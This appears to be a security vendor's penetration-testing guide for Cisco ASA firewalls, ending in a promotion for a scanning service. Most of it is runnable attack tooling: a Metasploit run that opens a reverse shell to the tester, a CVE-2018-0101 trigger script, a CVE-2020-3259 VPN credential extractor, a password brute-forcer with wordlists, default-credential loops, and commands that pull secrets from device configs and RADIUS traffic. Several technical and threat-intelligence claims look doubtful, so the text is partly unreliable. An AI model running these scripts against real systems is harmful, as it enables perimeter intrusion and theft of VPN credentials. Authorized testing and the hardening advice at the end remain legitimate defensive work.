Cisco ASA Security Testing: CVE-2018-0101 Heap Overflow, ASDM Exposure, VPN Credential Harvesting

Cisco ASA (Adaptive Security Appliance) firewalls are perimeter gatekeepers in thousands of enterprise networks — and their SSL VPN and management interfaces have been exploited by threat actors including nation-state groups. This guide covers authorized penetration testing techniques against Cisco ASA, including heap overflow exploitation, credential disclosure via CVE-2020-3259, unauthenticated VPN brute force, ASDM management interface attacks, and REST API enumeration.

AUTHORIZED TESTING ONLY — Cisco ASA devices are live network perimeter devices. Exploiting vulnerabilities without written authorization is illegal. CVE-2018-0101 and CVE-2020-3259 have been used by ransomware operators and nation-state actors. Only test systems you own or have explicit written permission to test.

Table of Contents

  1. ASA Architecture and Attack Surface
  2. Discovery and Fingerprinting
  3. CVE-2018-0101 — Heap Buffer Overflow (CVSS 10.0)
  4. CVE-2020-3259 — SSL VPN Credential Disclosure
  5. CVE-2023-20269 — Unauthenticated VPN Brute Force
  6. ASDM Management Interface Attacks
  7. REST API Enumeration and Abuse
  8. VPN Gateway Testing and AnyConnect Enumeration
  9. Credential Harvesting — AAA, RADIUS, LDAP
  10. Defense Recommendations

1. ASA Architecture and Attack Surface

Cisco ASA is a combined stateful firewall, VPN concentrator, and intrusion prevention system in a single appliance. It is deployed at the network perimeter in enterprise, government, and critical infrastructure environments. From a penetration testing perspective, ASA presents several high-value attack surfaces, each of which has produced exploitable CVEs.

Threat actor context matters for scoping. UNC3886 (a China-nexus group specializing in VMware and Cisco infrastructure) and Volt Typhoon have both leveraged Cisco ASA devices as initial access vectors in documented intrusion campaigns. ASA devices at the perimeter are not just a misconfiguration risk — they are actively targeted by sophisticated actors.

ServicePortProtocolAttack Vector
SSL VPN / ASDM HTTPS443, 8443TCP/HTTPSCVE-2018-0101, CVE-2020-3259, credential brute force, ASDM exploitation
SSH CLI22TCP/SSHBrute force, key exposure, default credentials
SNMP161UDPDefault community strings, version enumeration, MIB data disclosure
IKEv1 / IKEv2500, 4500UDPTransform set enumeration, aggressive mode PSK capture
REST API443TCP/HTTPSUnauthenticated access on older firmware, credential brute force
Clientless WebVPN443TCP/HTTPSCVE-2023-20269 brute force, session token theft

2. Discovery and Fingerprinting

Accurate version identification is the first step in any ASA engagement. Multiple endpoints leak version information without authentication, and the SSL certificate CN often reveals the device hostname.

Nmap Service Scan

# Full service scan against common ASA ports
nmap -sV -p 22,443,8443,161,500,4500 \
  --script ssl-cert,ssl-enum-ciphers,banner \
  -oA asa-scan TARGET

# Quick HTTPS fingerprint with title and cert details
nmap -sV -p 443,8443 --script http-title,ssl-cert TARGET

# UDP scan for IKE and SNMP
nmap -sU -p 161,500,4500 TARGET

HTTP Banner and Version Detection

# SSL VPN portal — identify ASDM version from login page
curl -sk https://TARGET/+CSCOE+/logon.html | grep -i 'cisco\|version\|asa'

# ASDM download path reveals version in the JAR filename
curl -sk https://TARGET/admin/ | grep -i 'asdm\|version\|cisco'
curl -sk https://TARGET/+CSCOE+/ | grep -i 'asdm\|cisco'

# Check HTTP response headers for server disclosure
curl -skI https://TARGET/ | grep -i 'server\|x-\|cisco'
curl -skI https://TARGET/+CSCOE+/logon.html | grep -i 'server\|cisco'

# The WebVPN login page typically discloses ASA software version
curl -sk https://TARGET/+CSCOE+/logon.html | \
  grep -oP 'VERSION[^"]*|v\d+\.\d+[\d.]*' | head -5

Python ASA Fingerprinting Script

#!/usr/bin/env python3
"""ASA version fingerprinter -- authorized testing only."""
import ssl, socket, re, urllib.request

TARGET = "TARGET_IP"

def fingerprint_asa(host):
    results = {}

    # SSL certificate inspection
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        with socket.create_connection((host, 443), timeout=5) as sock:
            with ctx.wrap_socket(sock, server_hostname=host) as ssock:
                cert = ssock.getpeercert(binary_form=False)
                subject = dict(x[0] for x in cert.get('subject', []))
                results['cert_cn'] = subject.get('commonName', '')
                results['cert_org'] = subject.get('organizationName', '')
    except Exception as e:
        results['cert_error'] = str(e)

    # HTTP banner from SSL VPN portal and ASDM
    for path in ['/+CSCOE+/logon.html', '/admin/', '/']:
        try:
            req = urllib.request.Request(
                f"https://{host}{path}",
                headers={'User-Agent': 'Mozilla/5.0'}
            )
            opener = urllib.request.build_opener(
                urllib.request.HTTPSHandler(context=ctx)
            )
            resp = opener.open(req, timeout=5)
            body = resp.read(4096).decode('utf-8', errors='ignore')
            version_match = re.search(
                r'(?:VERSION|version)[:\s"]+([0-9]+\.[0-9]+[\.\(][0-9]+[\)0-9]*)',
                body
            )
            if version_match:
                results[f'version_from_{path}'] = version_match.group(1)
            if 'cisco' in body.lower() or 'asa' in body.lower():
                results[f'cisco_confirmed_{path}'] = True
        except Exception:
            pass

    return results

print(fingerprint_asa(TARGET))

SNMP Version Enumeration

# SNMP sysDescr typically reveals full ASA software version
snmpwalk -v2c -c public TARGET 1.3.6.1.2.1.1
# Example response: "Cisco Adaptive Security Appliance Version 9.14(2)15"

# Brute force community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt TARGET

# If community found, enumerate Cisco-specific MIBs
snmpwalk -v2c -c COMMUNITY TARGET .1.3.6.1.4.1.9       # Cisco enterprise MIB
snmpwalk -v2c -c COMMUNITY TARGET .1.3.6.1.4.1.9.9.147 # Cisco Firewall MIB

Shodan Intelligence

# Shodan dorks for internet-facing Cisco ASA devices
# ssl.cert.subject.cn:"ASA" port:443 "ASDM"
# http.html:"+CSCOE+" port:443
# http.title:"SSL VPN Service" "Cisco"
# ssl.cert.subject.org:"Cisco" port:8443 country:NL

3. CVE-2018-0101 — Heap Buffer Overflow (CVSS 10.0)

CVE-2018-0101 was published on January 29, 2018 and assigned the maximum CVSS score of 10.0. The vulnerability is a double-free flaw in the SSL VPN code path of Cisco ASA, triggered via a malformed XML data stream in the SSL/TLS handshake. An unauthenticated remote attacker can exploit this to achieve remote code execution with root-level privileges — no credentials required.

Affected Versions and Patches

Cisco released patches across all maintained branches. Devices running any of the following versions or earlier are vulnerable:

Affected hardware includes the ASA 5500 series, ASA 5500-X series, ASA Services Module for Catalyst 6500/7600, ASA 1000V Cloud Firewall, and the ASAv virtual appliance.

Root Cause: XML Parser Double-Free

The vulnerability exists in the XML parser used by the SSL VPN clientless feature. When ASA processes a specially crafted SSL ClientHello message containing oversized or malformed XML data, the heap allocator double-frees a memory region. This corrupts heap metadata and allows an attacker to control instruction pointer redirection, achieving arbitrary code execution in the context of the ASA's main process running as root.

Metasploit Exploitation

# Metasploit module for CVE-2018-0101
# Only use against systems you own or have explicit written authorization to test

msfconsole
use exploit/cisco/cisco_asa_clientless_vpn
set RHOSTS TARGET
set RPORT 443
set LHOST YOUR_IP
set LPORT 4444
set SSL true
show options
run

# The module performs a version check before exploitation attempt
# A successful shell returns as root on the ASA Linux subsystem

Conceptual PoC — Malformed SSL with XML Payload

#!/usr/bin/env python3
"""
CVE-2018-0101 -- conceptual demonstration of the trigger mechanism.
DO NOT USE against production systems. Authorized lab testing only.
"""
import socket, ssl, struct

TARGET = "TARGET_IP"
PORT   = 443

# The vulnerability is triggered by sending a ClientHello with
# an oversized XML data blob in the SSL record layer extension field.
# The ASA XML parser double-frees the allocation when handling
# malformed length fields in nested XML structures.

def build_malformed_ssl_hello():
    """Build a ClientHello with oversized XML extension -- triggers double-free."""
    version       = b'\x03\x03'         # TLS 1.2
    random_bytes  = b'\x00' * 32        # Client random (zeroed for PoC)
    session_id    = b'\x00'
    cipher_suites = b'\x00\x02\xc0\x2b' # TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
    compression   = b'\x01\x00'

    # Oversized XML in extension data -- triggers heap corruption
    xml_payload = b'<?xml version="1.0"?>' + b'<A>' * 4096 + b'</A>' * 4096
    extensions = struct.pack('>HH', 0xFF01, len(xml_payload)) + xml_payload
    ext_block  = struct.pack('>H', len(extensions)) + extensions

    body   = version + random_bytes + session_id + cipher_suites + compression + ext_block
    length = struct.pack('>I', len(body))[1:]  # 3-byte length

    record  = b'\x16\x03\x01'  # TLS ContentType Handshake
    record += struct.pack('>H', len(b'\x01' + length + body))
    record += b'\x01' + length + body
    return record

print(f"[*] Malformed ClientHello: {len(build_malformed_ssl_hello())} bytes")
print("[!] Use Metasploit module for actual exploitation in authorized engagements")
Threat intelligence note: CVE-2018-0101 was exploited by Iranian APT33 (Refined Kitten) in documented campaigns between 2018 and 2019, targeting energy and aerospace sectors. Unpatched ASA devices — particularly those running 9.1.x and 9.2.x branches — remain accessible on the internet. During authorized engagements, always version-check before attempting exploitation.

4. CVE-2020-3259 — SSL VPN Credential Disclosure

CVE-2020-3259 (CVSS 7.5) is an unauthenticated memory-based credential disclosure vulnerability in Cisco ASA's SSL VPN subsystem. An attacker can send a specially crafted GET request to specific URL paths and receive back contents of ASA process memory — including plaintext usernames, passwords, and session tokens for recently authenticated VPN users.

Affected Versions

Exploitation — Credential Extraction via HTTP

# Primary exploit path -- leaks credentials from ASA memory via XML response
curl -sk "https://TARGET/+CSCOE+/files/csco_config.html"

# Secondary path -- session data leak
curl -sk "https://TARGET/+CSCOE+/session.js"

# Both endpoints may return XML/JSON blobs containing:
#   - Active session usernames and passwords
#   - Group tunnel names
#   - Session tokens for currently authenticated AnyConnect clients

# Verbose request to inspect full response headers and body
curl -sk -v "https://TARGET/+CSCOE+/files/csco_config.html" 2>&1

# Check for session data at alternate paths
curl -sk "https://TARGET/+CSCOE+/configs/vpn_user.js"
curl -sk "https://TARGET/+CSCOE+/logon_session.js"

Python Credential Extractor

#!/usr/bin/env python3
"""
CVE-2020-3259 credential extractor -- authorized testing only.
Extracts VPN credentials from vulnerable Cisco ASA memory leak.
"""
import urllib.request, urllib.error, ssl, re

TARGET = "TARGET_IP"

LEAK_PATHS = [
    "/+CSCOE+/files/csco_config.html",
    "/+CSCOE+/session.js",
    "/+CSCOE+/configs/vpn_user.js",
]

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

def extract_credentials(host):
    creds = []
    for path in LEAK_PATHS:
        url = f"https://{host}{path}"
        try:
            req = urllib.request.Request(url, headers={'User-Agent': 'Mozilla/5.0'})
            opener = urllib.request.build_opener(
                urllib.request.HTTPSHandler(context=ctx)
            )
            resp = opener.open(req, timeout=10)
            body = resp.read().decode('utf-8', errors='ignore')

            usernames = re.findall(r'<username[^>]*>([^<]+)</username>', body, re.I)
            passwords = re.findall(r'<password[^>]*>([^<]+)</password>', body, re.I)
            groups    = re.findall(r'<group[^>]*>([^<]+)</group>', body, re.I)
            sessions  = re.findall(r'session[_-]?token["\s:=]+([a-zA-Z0-9+/=]{20,})', body, re.I)

            if usernames or passwords or sessions:
                print(f"[+] Data found at {path}")
                for i, u in enumerate(usernames):
                    p = passwords[i] if i < len(passwords) else '<unknown>'
                    g = groups[i]    if i < len(groups)    else '<unknown>'
                    creds.append({'username': u, 'password': p, 'group': g})
                    print(f"    Username: {u} | Password: {p} | Group: {g}")
                for s in sessions:
                    print(f"    Session token: {s[:30]}...")
            else:
                print(f"[-] No credentials at {path} (patched or no active sessions)")
        except urllib.error.HTTPError as e:
            print(f"[-] HTTP {e.code} at {path}")
        except Exception as e:
            print(f"[-] Error at {path}: {e}")
    return creds

creds = extract_credentials(TARGET)
if creds:
    print(f"\n[+] Total credential sets harvested: {len(creds)}")
    print("[+] Format: username / password / vpn-group-tunnel")
else:
    print("\n[-] Target appears patched or no active VPN sessions in memory")
Finding context: Credentials obtained via CVE-2020-3259 appear in plaintext and typically include the username, password, and group tunnel name. These are currently authenticated AnyConnect user credentials — meaning valid Active Directory or RADIUS credentials that can be immediately leveraged for lateral movement. AKIRA ransomware group exploited CVE-2020-3259 extensively throughout 2023 to harvest VPN credentials as their initial access vector, compromising hundreds of organizations before widespread patching.

5. CVE-2023-20269 — Unauthenticated VPN Brute Force

CVE-2023-20269 (CVSS 5.0, though devastating in practice) was published in September 2023. It affects the SSL VPN and clientless VPN features of Cisco ASA when remote access VPN is configured without proper authentication rate limiting. The root cause is that ASA does not enforce authentication attempt limits on the SSL VPN AAA endpoint in certain configurations, allowing unauthenticated attackers to brute force VPN credentials at high speed.

VPN Group Name Enumeration

# Step 1: Enumerate valid VPN group names (tunnel groups)
# Different HTTP responses reveal valid vs invalid group names

# Probe the group selection endpoint
curl -sk -X POST "https://TARGET/+webvpn+/index.html" \
  -d "username=testuser&password=testpass&group-select=GROUPNAME" \
  -D - | head -20

# A valid group name typically returns HTTP 302 or a form with next-step fields
# An invalid group name returns a different error message or HTTP 401

# Enumerate via group-alias endpoint (may be world-readable)
curl -sk "https://TARGET/+CSCOE+/configs/vpn_user.js" | grep -i group

# Clientless WebVPN login page may list available group aliases
curl -sk "https://TARGET/+CSCOE+/logon.html" | \
  grep -oP 'group[_-]?name["\s:=]+["\x27]([^"\x27]+)' | head -20

Brute Force Against the SSL VPN AAA Endpoint

#!/usr/bin/env python3
"""
CVE-2023-20269 VPN credential brute force -- authorized testing only.
Targets the SSL VPN AAA endpoint which lacks rate limiting on vulnerable ASA.
"""
import urllib.request, urllib.parse, urllib.error, ssl, time, sys

TARGET = "TARGET_IP"
GROUP  = "VPN_GROUP_NAME"    # Enumerate first (see above)
USERS  = ["admin", "vpnuser", "remote", "cisco", "administrator"]
PASSES = ["cisco", "cisco123", "Cisco1234!", "Password1", "Welcome1", "Summer2023!"]

LOGIN_URL = f"https://{TARGET}/+webvpn+/index.html"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

def try_login(username, password, group):
    data = urllib.parse.urlencode({
        "username": username,
        "password": password,
        "group-select": group,
        "Login": "Logon"
    }).encode()
    req = urllib.request.Request(LOGIN_URL, data=data,
          headers={"Content-Type": "application/x-www-form-urlencoded",
                   "User-Agent": "AnyConnect Linux_64 4.10.07062"})
    try:
        resp = opener.open(req, timeout=8)
        location = resp.geturl()
        code = resp.getcode()
        # Success: HTTP 302 redirect to /+CSCOE+/portal.html
        # or 200 with Set-Cookie containing webvpn session
        if '/portal.html' in location or 'webvpn' in resp.headers.get('Set-Cookie', ''):
            return True, code, location
        return False, code, location
    except urllib.error.HTTPError as e:
        return False, e.code, ""
    except Exception as e:
        return False, 0, str(e)

print(f"[*] Brute forcing {TARGET} | Group: {GROUP}")
for user in USERS:
    for pwd in PASSES:
        success, code, location = try_login(user, pwd, GROUP)
        status = "[+] SUCCESS" if success else f"[-] {code}"
        print(f"  {status} {user}:{pwd}")
        if success:
            print(f"[+] Valid credentials: {user} / {pwd} / {GROUP}")
            sys.exit(0)
        time.sleep(0.3)

print("[-] No valid credentials found in this wordlist")
Campaign context: CVE-2023-20269 was exploited in the "Silent Push" campaign tracked by Cisco Talos, targeting healthcare and government organizations. Attackers used the vulnerability to enumerate valid username/password combinations through high-frequency POST requests to the VPN endpoint. Detection signature: high-frequency POST to /+webvpn+/index.html from a single source IP with varying usernames in ASA syslog.

6. ASDM Management Interface Attacks

ASDM (Adaptive Security Device Manager) is the Java-based web interface for managing Cisco ASA devices. It typically runs on port 443 or 8443 at the /admin/ path. ASDM is frequently left accessible from internal networks and occasionally from the internet, making it a high-value target once an attacker has network access.

Default Credential Testing

# ASDM default credentials -- test in order
# cisco/cisco (most common factory default)
# admin/admin
# admin/cisco
# pix/pix (older PIX firmware migration)

# Test via curl basic auth against ASDM config endpoint
for CRED in "cisco:cisco" "admin:admin" "admin:cisco" "pix:pix"; do
    USER=$(echo $CRED | cut -d: -f1)
    PASS=$(echo $CRED | cut -d: -f2)
    HTTP_CODE=$(curl -sk -o /dev/null -w "%{http_code}" \
      -u "${USER}:${PASS}" "https://TARGET/admin/config")
    echo "${USER}:${PASS} -> HTTP ${HTTP_CODE}"
    sleep 1
done
# A 200 response indicates successful authentication and returns full running config

CVE-2022-20828 — ASDM Arbitrary Code Execution

CVE-2022-20828 (CVSS 7.2) affects ASDM versions prior to 7.18.1.152. The vulnerability allows an authenticated user with operator-level access to execute arbitrary commands on the underlying ASA operating system by manipulating the ASDM Java launcher. This enables privilege escalation from operator to root on the ASA.

# Identify ASDM version from the launcher download file
curl -sk "https://TARGET/admin/" | grep -i 'asdm.*\.jnlp\|asdm.*version'

# The JNLP file discloses ASDM version in the title element
curl -sk "https://TARGET/admin/asdm.jnlp" | grep -i 'version\|title'

# Affected: ASDM < 7.18.1.152
# Exploitation requires operator-level ASDM access at minimum
# The -Xbootclasspath/p: JVM argument in the JNLP can load attacker-controlled classes
CVECVSSDescriptionAffected Versions
CVE-2022-208299.1Insufficient authorization — admin-level actions with operator credentialsASDM < 7.18.1.152
CVE-2022-208287.2Arbitrary code execution via ASDM Java launcher manipulationASDM < 7.18.1.152
CVE-2021-15857.5Privilege escalation via ASDM management sessionASDM < 7.17.1.152
CVE-2021-14267.3Arbitrary file read via ASDM — directory traversalASDM < 7.16.1.150

ASDM Configuration Extraction

# Full running config via ASDM authenticated endpoint
# Returns all credentials, ACLs, VPN groups, AAA server configs
curl -sk -u admin:cisco "https://TARGET/admin/config"

# Parse extracted config for sensitive data patterns
curl -sk -u admin:cisco "https://TARGET/admin/config" | \
  grep -E "password|enable password|username|key|psk|ldap-login-dn|ldap-login-password"

# Extract enable password hash
curl -sk -u admin:cisco "https://TARGET/admin/config" | grep "^enable password"

# Extract all local usernames with password hashes
curl -sk -u admin:cisco "https://TARGET/admin/config" | grep "^username"

# Extract LDAP/RADIUS AAA server configuration
curl -sk -u admin:cisco "https://TARGET/admin/config" | grep -A 10 "aaa-server"

7. REST API Enumeration and Abuse

Cisco introduced the ASA REST API in version 9.3.2. When enabled, the API is accessible at /api/ and exposes the complete device configuration via JSON endpoints. On older firmware releases, some endpoints respond without authentication. On current firmware the API uses HTTP basic auth or session tokens.

REST API Discovery and Version Check

# Check if REST API is enabled (no auth required on older firmware)
curl -sk "https://TARGET/api/asa/version"

# Expected response on older vulnerable device:
# {"kind":"object#QueryVersion","asaVersion":"9.14(2)15",
#  "apiVersion":"1.3","description":"Cisco ASA REST API"}

# Authenticated version check
curl -sk -u admin:cisco \
  -H "Content-Type: application/json" \
  "https://TARGET/api/asa/version"

# List available API resource endpoints
curl -sk -u admin:cisco \
  -H "Content-Type: application/json" \
  "https://TARGET/api/"

Authenticated API Enumeration

# Network objects -- reveals internal network topology
curl -sk -u admin:cisco \
  -H "Content-Type: application/json" \
  "https://TARGET/api/objects/networkobjects"

# AnyConnect VPN configuration
curl -sk -u admin:cisco \
  -H "Content-Type: application/json" \
  "https://TARGET/api/vpn/anyconnect"

# Network services and ACLs
curl -sk -u admin:cisco \
  -H "Content-Type: application/json" \
  "https://TARGET/api/objects/networkservices"

# Local user accounts
curl -sk -u admin:cisco \
  -H "Content-Type: application/json" \
  "https://TARGET/api/objects/users"

# AAA RADIUS configuration (exposes shared secrets)
curl -sk -u admin:cisco \
  -H "Content-Type: application/json" \
  "https://TARGET/api/aaa/radius"

# AAA LDAP configuration (exposes bind DN and bind password)
curl -sk -u admin:cisco \
  -H "Content-Type: application/json" \
  "https://TARGET/api/aaa/ldap"

REST API Session Token Extraction

#!/usr/bin/env python3
"""Extract ASA REST API session token for persistent access."""
import urllib.request, urllib.error, ssl, json, base64

TARGET   = "TARGET_IP"
USERNAME = "admin"
PASSWORD = "cisco"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

creds = base64.b64encode(f"{USERNAME}:{PASSWORD}".encode()).decode()
req = urllib.request.Request(
    f"https://{TARGET}/api/asa/version",
    headers={
        "Authorization": f"Basic {creds}",
        "Content-Type": "application/json",
        "User-Agent": "ASDM/7.18"
    }
)
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
try:
    resp = opener.open(req, timeout=10)
    token   = resp.headers.get('X-Auth-Token', '')
    cookies = resp.headers.get('Set-Cookie', '')
    data    = json.loads(resp.read().decode())
    print(f"[+] ASA Version: {data.get('asaVersion', 'unknown')}")
    print(f"[+] API Version: {data.get('apiVersion', 'unknown')}")
    if token:
        print(f"[+] Session token: {token}")
    if cookies:
        print(f"[+] Session cookie: {cookies[:80]}")
except urllib.error.HTTPError as e:
    print(f"[-] HTTP {e.code}: authentication failed or API not enabled")
except Exception as e:
    print(f"[-] Error: {e}")

8. VPN Gateway Testing and AnyConnect Enumeration

AnyConnect is Cisco's SSL VPN client connecting to the ASA gateway. The VPN gateway exposes several enumeration surfaces — group alias names, XML profiles, and IKEv1/v2 transform sets — that reveal network topology and credential requirements before any authentication attempt.

AnyConnect Group Alias Enumeration

#!/usr/bin/env python3
"""
Enumerate valid AnyConnect VPN group names via HTTP response analysis.
Authorized testing only.
"""
import urllib.request, urllib.parse, ssl, time

TARGET = "TARGET_IP"
GROUP_CANDIDATES = [
    "VPN", "VPNSSL", "AnyConnect", "Remote", "RemoteAccess",
    "RA-VPN", "RAVPN", "Staff", "Employees", "Corporate",
    "Contractors", "IT", "Admin", "Users", "Default"
]

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

def probe_group(group_name):
    data = urllib.parse.urlencode({
        "username": "enumtest",
        "password": "enumtest",
        "group-select": group_name
    }).encode()
    req = urllib.request.Request(
        f"https://{TARGET}/+webvpn+/index.html",
        data=data,
        headers={"Content-Type": "application/x-www-form-urlencoded",
                 "User-Agent": "AnyConnect Linux_64 4.10.07062"}
    )
    try:
        resp = opener.open(req, timeout=6)
        body = resp.read(2048).decode('utf-8', errors='ignore')
        code = resp.getcode()
        # Valid group: ASA proceeds to credential check (password-error page)
        # Invalid group: ASA returns "Unknown Group" or generic error
        if 'unknown group' in body.lower() or 'invalid group' in body.lower():
            return "INVALID"
        return f"POSSIBLE (HTTP {code})"
    except Exception as e:
        return f"ERROR: {e}"

print(f"[*] Enumerating VPN groups on {TARGET}")
for g in GROUP_CANDIDATES:
    result = probe_group(g)
    print(f"  Group '{g}': {result}")
    time.sleep(0.2)

AnyConnect XML Profile Extraction

# AnyConnect XML profiles are often world-readable
# They contain server hostnames, group names, and sometimes pre-filled usernames
curl -sk "https://TARGET/profiles/AnyConnectProfile.xml"
curl -sk "https://TARGET/profiles/AnyConnectProfile_v4.xml"

# List available profiles from login page source
curl -sk "https://TARGET/+CSCOE+/logon.html" | grep -i 'profile\|\.xml'

# The profile XML discloses:
#   - Backup VPN server hostnames and IPs
#   - Default VPN group tunnel name
#   - Protocol preferences (SSL vs IPsec)
#   - Split-tunnel configuration details

IKEv1/IKEv2 IPsec Enumeration

# IKEv1 transform set enumeration
ike-scan -M TARGET
ike-scan -M --aggressive --id=0 TARGET

# IKEv2 enumeration
ike-scan -M --ikev2 TARGET

# Transform set probing reveals encryption/hash algorithm preferences
ike-scan -M --trans=5,2,1,2 TARGET   # AES-128, SHA1, DH Group 2
ike-scan -M --trans=7,14,1,5 TARGET  # AES-256, SHA2-256, DH Group 5

# DTLS testing -- AnyConnect uses DTLS on UDP 443 for performance
# Test if DTLS is enabled on the VPN gateway
openssl s_client -connect TARGET:443 -dtls1_2 2>&1 | head -10

9. Credential Harvesting — AAA, RADIUS, LDAP

Cisco ASA integrates with AAA (Authentication, Authorization, Accounting) backends for VPN user authentication and management access. These integrations often store sensitive credentials in the ASA running configuration in cleartext or reversibly-encoded form.

AAA Server Configuration Extraction

# From an authenticated CLI session (SSH or console):
show run aaa-server
# Reveals: server IP addresses, AAA group names, LDAP bind DN, LDAP password

show run username
# Lists all local accounts:
# username admin privilege 15 password 5 $1$abc123def456... encrypted
# username vpnuser privilege 2 password 7 01040B480A... (Type 7 -- reversible!)

show run tacacs-server
# Reveals TACACS+ server address and shared key

# If you have ASDM or REST API access:
curl -sk -u admin:cisco "https://TARGET/admin/config" | \
  grep -E "aaa-server|ldap-login-dn|ldap-login-password|key " | head -20

Python AAA Credential Parser

#!/usr/bin/env python3
"""Parse ASA running-config output for AAA credentials."""
import re, sys

def parse_asa_config(config_text):
    patterns = {
        'aaa_server':      r'aaa-server\s+(\S+)\s+\((\S+)\)',
        'ldap_dn':         r'ldap-login-dn\s+(.+)',
        'ldap_password':   r'ldap-login-password\s+(.+)',
        'ldap_base_dn':    r'ldap-base-dn\s+(.+)',
        'radius_key':      r'key\s+\*+\s*(\S+)',
        'enable_password': r'enable password\s+(\S+)',
        'username_type5':  r'username\s+(\S+)\s+.*password\s+5\s+(\S+)',
        'username_type7':  r'username\s+(\S+)\s+.*password\s+7\s+(\S+)',
        'username_type8':  r'username\s+(\S+)\s+.*password\s+8\s+(\S+)',
        'ipsec_psk':       r'pre-shared-key\s+\*+\s*(\S+)',
        'tunnel_group':    r'tunnel-group\s+(\S+)\s+type',
    }
    findings = {}
    for key, pattern in patterns.items():
        matches = re.findall(pattern, config_text, re.MULTILINE | re.IGNORECASE)
        if matches:
            findings[key] = matches
    return findings

config = open(sys.argv[1]).read() if len(sys.argv) > 1 else sys.stdin.read()
results = parse_asa_config(config)
for key, values in results.items():
    print(f"\n[+] {key}:")
    for v in values:
        print(f"    {v}")

Cisco Type 7 Password Decoder

Cisco IOS/ASA "Type 7" passwords use a Vigenere cipher with a fixed key. They are trivially reversible and should never be treated as secure. Any Type 7 password extracted from an ASA config can be decoded immediately.

#!/usr/bin/env python3
"""Cisco Type 7 password decoder -- all Type 7 hashes are trivially reversible."""

XLAT = [
    0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c,
    0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a,
    0x4b, 0x44, 0x48, 0x53, 0x55, 0x42
]

def decode_type7(enc):
    """Decode a Cisco Type 7 encoded password."""
    enc = enc.strip()
    if len(enc) < 2:
        return None
    seed = int(enc[:2])
    enc_bytes = bytes.fromhex(enc[2:])
    plain = ""
    for i, byte in enumerate(enc_bytes):
        plain += chr(byte ^ XLAT[(seed + i) % 26])
    return plain

# Example Type 7 hashes extracted from ASA running config
examples = [
    ("02050D480809",   "cisco"),
    ("13061E010803",   "cisco123"),
    ("08354A534F0A19", "Password1"),
]
for encoded, expected in examples:
    decoded = decode_type7(encoded)
    print(f"Type 7 '{encoded}' -> '{decoded}'  (expected: '{expected}')")

# Usage: grep 'password 7' running-config.txt | awk '{print $NF}' | \
#        while read h; do python3 type7.py <<< "$h"; done

Password Hash Types Reference

TypeAlgorithmExample PrefixCrackability
Type 7Vigenere (reversible XOR)password 7 08354A...Instant — deterministic decode, no GPU needed
Type 5MD5-crypt (salted)password 5 $1$abc...Fast with hashcat/john on GPU
Type 8PBKDF2-SHA256 (20K rounds)password 8 $8$...Slow — GPU-hours for common passwords
Type 9scryptpassword 9 $9$...Very slow — intentionally memory-hard

RADIUS Credential Interception

# If ASA uses RADIUS for VPN auth and you have internal network access:
# Capture RADIUS authentication traffic (UDP/1812)
tcpdump -i eth0 -n "port 1812" -w radius-capture.pcap

# Parse RADIUS packets for User-Name attributes (cleartext in RFC 2865)
tshark -r radius-capture.pcap -Y "radius.code == 1" \
  -T fields -e radius.User-Name -e radius.NAS-IP-Address

# RADIUS User-Password is XOR-encrypted with the RADIUS shared secret
# If shared secret is known (from ASA config), decrypt with:
radtest USERNAME PASSWORD RADIUS-SERVER 0 SHAREDSECRET

10. Defense Recommendations

Hardening Cisco ASA against the attack vectors described above requires both patching and configuration changes. The table below prioritizes actions by impact and implementation effort.

RecommendationPriorityImplementation
Patch ASA to 9.18.x or latest supported branchCriticalRemediates CVE-2018-0101, CVE-2020-3259, CVE-2023-20269 and hundreds of CVEs in older branches
Disable ASDM if not actively used; restrict to management VRFCriticalno http server enable or restrict: http 192.168.1.0 255.255.255.0 management
Enable VPN brute force lockoutCriticalvpn-sessiondb max-failed-attempts 5; configure lockout duration under group-policy
Disable REST API if unusedHighno rest-api agent in global config; verify: show rest-api agent
Deploy certificate-based authentication for AnyConnectHighEliminates credential harvesting — users authenticate via client certificates, not passwords
Enable MFA for SSL VPN (Duo, Okta, Cisco ISE)HighIntegrate via RADIUS proxy; Duo ASA integration guides available at duo.com/docs
Remove default credentials; rename default admin accountHighusername newadmin privilege 15 password TYPE9HASH; then no username cisco
Use Type 8 or Type 9 password hashing exclusivelyHighpassword encryption aes and ensure all passwords set after enabling use Type 8/9 encoding
Restrict SNMP to management hosts onlyMediumsnmp-server host management 192.168.1.10 community COMPLEX_STRING version 2c
Monitor for CVE-2023-20269 brute force patternsMediumAlert on >10 POST requests to /+webvpn+/index.html from one IP within 60 seconds
Quick win — remove Type 7 passwords immediately: Run show run | include password 7 on your ASA. Any Type 7 passwords are trivially reversible. Re-enter those credentials to force Type 8 or Type 9 encoding on ASA 9.6+. This single step eliminates the most common credential exposure path found in post-breach ASA config analysis.

Automate Your Cisco ASA Security Testing

Ironimo runs Kali Linux-powered security scans against Cisco ASA and other network perimeter devices. Discover exposed management interfaces, test for known CVEs including CVE-2018-0101 and CVE-2020-3259, and verify your firewall configurations automatically — on demand.

Start free scan